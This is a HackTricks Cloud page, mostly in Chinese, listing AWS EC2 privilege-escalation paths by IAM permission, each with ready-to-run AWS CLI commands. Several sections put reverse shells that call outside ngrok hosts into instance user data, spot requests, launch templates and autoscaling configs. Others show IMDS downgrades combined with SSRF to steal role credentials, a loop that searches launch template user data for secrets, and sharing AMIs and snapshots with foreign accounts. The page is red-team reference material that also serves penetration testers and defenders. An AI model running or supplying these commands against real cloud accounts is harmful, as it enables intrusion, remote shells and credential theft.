AWS - EC2 Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
EC2
有关 EC2 的更多信息,请查看:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole, ec2:RunInstances
攻击者可以 创建一个附加了 IAM role 的实例并访问该实例,从 metadata endpoint 窃取 IAM role 凭证。
-
通过 SSH 访问
-
启动一个新实例,使用 已创建的 ssh key (
--key-name),然后通过 ssh 登录(如果想创建新的 key,可能需要ec2:CreateKeyPair权限)。
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- 通过 user data 中的 rev shell 获取访问
你可以使用 user data (--user-data) 运行一个新的实例,该 user data 会向你发送一个 rev shell。通过这种方式你无需指定 security group。
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
如果在实例外部使用 IAM 角色的 credentials,请注意 GuradDuty:
Potential Impact: 可直接对附加到现有 instance profiles 的任意 EC2 role 进行 privesc。
Privesc to ECS
有了这组权限,你还可以 create an EC2 instance and register it inside an ECS cluster。这样,ECS services 会在你有访问权限的 EC2 instance 内 run,然后你可以渗透这些服务 (docker containers) 并 steal their ECS roles attached。
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
要了解如何 force ECS services to be run 在这个新的 EC2 instance 中,请查看:
如果你不能创建新实例但拥有权限 ecs:RegisterContainerInstance,你可能能够在集群中注册该实例并执行上述攻击。
潜在影响: Direct privesc to ECS roles attached to tasks.
iam:PassRole, iam:AddRoleToInstanceProfile
类似于之前的场景,攻击者拥有这些权限后可以更改已被攻破实例的 IAM role,从而窃取新的凭证。
由于 instance profile 只能有 1 个 role,如果 instance profile already has a role(常见情况),你还需要 iam:RemoveRoleFromInstanceProfile。
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
如果 instance profile has a role 且攻击者 cannot remove it,还有另一个变通方法。 他可以 find an instance profile without a role 或 create a new one (iam:CreateInstanceProfile),add the role to that instance profile(如前所述),并 associate the instance profile compromised to a compromised instance:
- 如果该 instance doesn’t have any instance profile (
ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
潜在影响: 直接 privesc 到不同的 EC2 角色(你需要已经攻陷一台 AWS EC2 实例并拥有额外权限或特定的 instance profile 状态)。
iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)
拥有这些权限可以更改与实例关联的 instance profile,因此如果攻击者已经获得对某个实例的访问权限,他就可以通过更改该实例关联的 instance profile 来窃取更多 instance profile 角色的凭据。
- If it has an instance profile, you can remove the instance profile (
ec2:DisassociateIamInstanceProfile) and associate it
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- 或 替换 被攻陷的实例的 实例配置文件 (
ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
潜在影响: 直接 privesc 到不同的 EC2 role(你需要已攻陷一个 AWS EC2 instance,并且拥有一些额外权限或特定的 instance profile 状态)。
ec2:RequestSpotInstances,iam:PassRole
拥有权限 ec2:RequestSpotInstancesandiam:PassRole 的攻击者可以 请求 一个附带 EC2 Role attached 的 Spot Instance,并在 user data 中放入 rev shell。
一旦实例运行,他就可以 窃取 IAM role。
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
拥有 ec2:ModifyInstanceAttribute 权限的攻击者可以修改实例属性。其中,他可以更改 user data,这意味着他可以使实例运行任意数据。 这可以用来获取到 EC2 instance 的 rev shell。
注意,这些属性只能在实例停止时被修改,因此需要 权限 ec2:StopInstances 和 ec2:StartInstances。
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Potential Impact: 直接对附加在创建的实例上的任意 EC2 IAM Role 实现 privesc。
ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate
拥有权限 ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate 的攻击者可以创建一个 new Launch Template version,在 user data 中植入 rev shell 并附加 any EC2 IAM Role on it,更改默认版本;任何被配置为使用 latest 或 default version 的 Autoscaler group 在使用该 Launch Templat 时会重新运行实例并执行该 rev shell。
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Potential Impact: 直接 privesc 到另一个 EC2 role。
(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)
拥有权限 autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole 的攻击者可以 创建一个 Launch Configuration,在其中放入一个 IAM Role 和 在 user data 中的 rev shell,然后 从该配置创建一个 autoscaling group 并等待 rev shell 窃取 IAM Role。
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Potential Impact: 直接 privesc 到不同的 EC2 role。
!autoscaling
The set of permissions ec2:CreateLaunchTemplate and autoscaling:CreateAutoScalingGroup aren’t enough to escalate privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template you need to permissions iam:PassRole and ec2:RunInstances (which is a known privesc).
ec2-instance-connect:SendSSHPublicKey
拥有权限 ec2-instance-connect:SendSSHPublicKey 的攻击者可以向用户添加 ssh key 并使用它进行访问(如果他对该实例有 ssh 访问权限)或用于提升权限。
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
潜在影响: 直接 privesc 到附加在正在运行实例上的 EC2 IAM roles。
ec2-instance-connect:SendSerialConsoleSSHPublicKey
拥有权限 ec2-instance-connect:SendSerialConsoleSSHPublicKey 的攻击者可以 向串行连接添加 ssh key。如果串行未启用,攻击者需要权限 ec2:EnableSerialConsoleAccess 来启用它。
为了连接到串行端口,你还 需要知道机器内部某个用户的用户名和密码。
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
这种方式对 privesc 并不太有用,因为利用它需要知道用户名和密码。
Potential Impact:(高度无法证实)直接 privesc 到附加在运行中实例上的 EC2 IAM 角色。
describe-launch-templates,describe-launch-template-versions
由于 launch templates 支持版本控制,拥有 ec2:describe-launch-templates 和 ec2:describe-launch-template-versions 权限的攻击者可以利用这些权限发现敏感信息,例如存在于用户数据中的凭证。为此,下面的脚本会遍历所有可用 launch templates 的所有版本:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
在上面的命令中,虽然我们指定了某些模式 (aws_|password|token|api),你可以使用不同的 regex 来搜索其他类型的敏感信息。
假设我们找到了 aws_access_key_id 和 aws_secret_access_key,我们可以使用这些凭证来对 AWS 进行认证。
Potential Impact: 直接对 IAM 用户进行权限提升。
参考资料
ec2:ModifyInstanceMetadataOptions (IMDS 降级以启用 SSRF 凭证窃取)
能够对受害者 EC2 实例调用 ec2:ModifyInstanceMetadataOptions 的攻击者,可以通过启用 IMDSv1 (HttpTokens=optional) 并增加 HttpPutResponseHopLimit 来削弱 IMDS 的防护。这会使实例的 metadata 端点通过实例上运行的应用常见的 SSRF/代理路径可达。如果攻击者能在此类应用中触发 SSRF,他们就能检索实例 profile 凭证并使用它们进行 pivot。
- 所需权限:在目标实例上具有
ec2:ModifyInstanceMetadataOptions(以及能够到达或在主机上触发 SSRF)。 - 目标资源:带有附加 instance profile(IAM role)的运行中 EC2 实例。
命令示例:
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'
# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled
# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity
# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
潜在影响:通过 SSRF 窃取 instance profile credentials,利用 EC2 role permissions 导致权限提升和横向移动。
ec2:ModifyInstanceMetadataOptions
拥有 ec2:ModifyInstanceMetadataOptions 权限的攻击者可以削弱 Instance Metadata Service (IMDS) 的保护 — 例如通过强制使用 IMDSv1(使 HttpTokens 不再必需)或增加 HttpPutResponseHopLimit — 从而更容易外泄临时凭证。最相关的风险向量是提高 HttpPutResponseHopLimit:通过增加该跳数限制(TTL),169.254.169.254 端点不再严格局限于 VM 的网络命名空间,可能被其他进程/容器访问,从而使凭证被窃取。
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute
拥有 ec2:ModifyImageAttribute 和 ec2:ModifySnapshotAttribute 权限的攻击者可以将 AMIs 或 snapshots 与其他 AWS 账户共享(甚至将其公开),从而暴露可能包含敏感数据的镜像或卷,例如配置、凭证、证书或备份。通过修改 AMI 的 launch permissions 或 snapshot 的 create-volume permissions,攻击者可以允许第三方从这些资源启动 instances 或挂载磁盘并访问其内容。
要与另一个账户共享 AMI:
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
要与另一个账户共享 EBS snapshot:
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

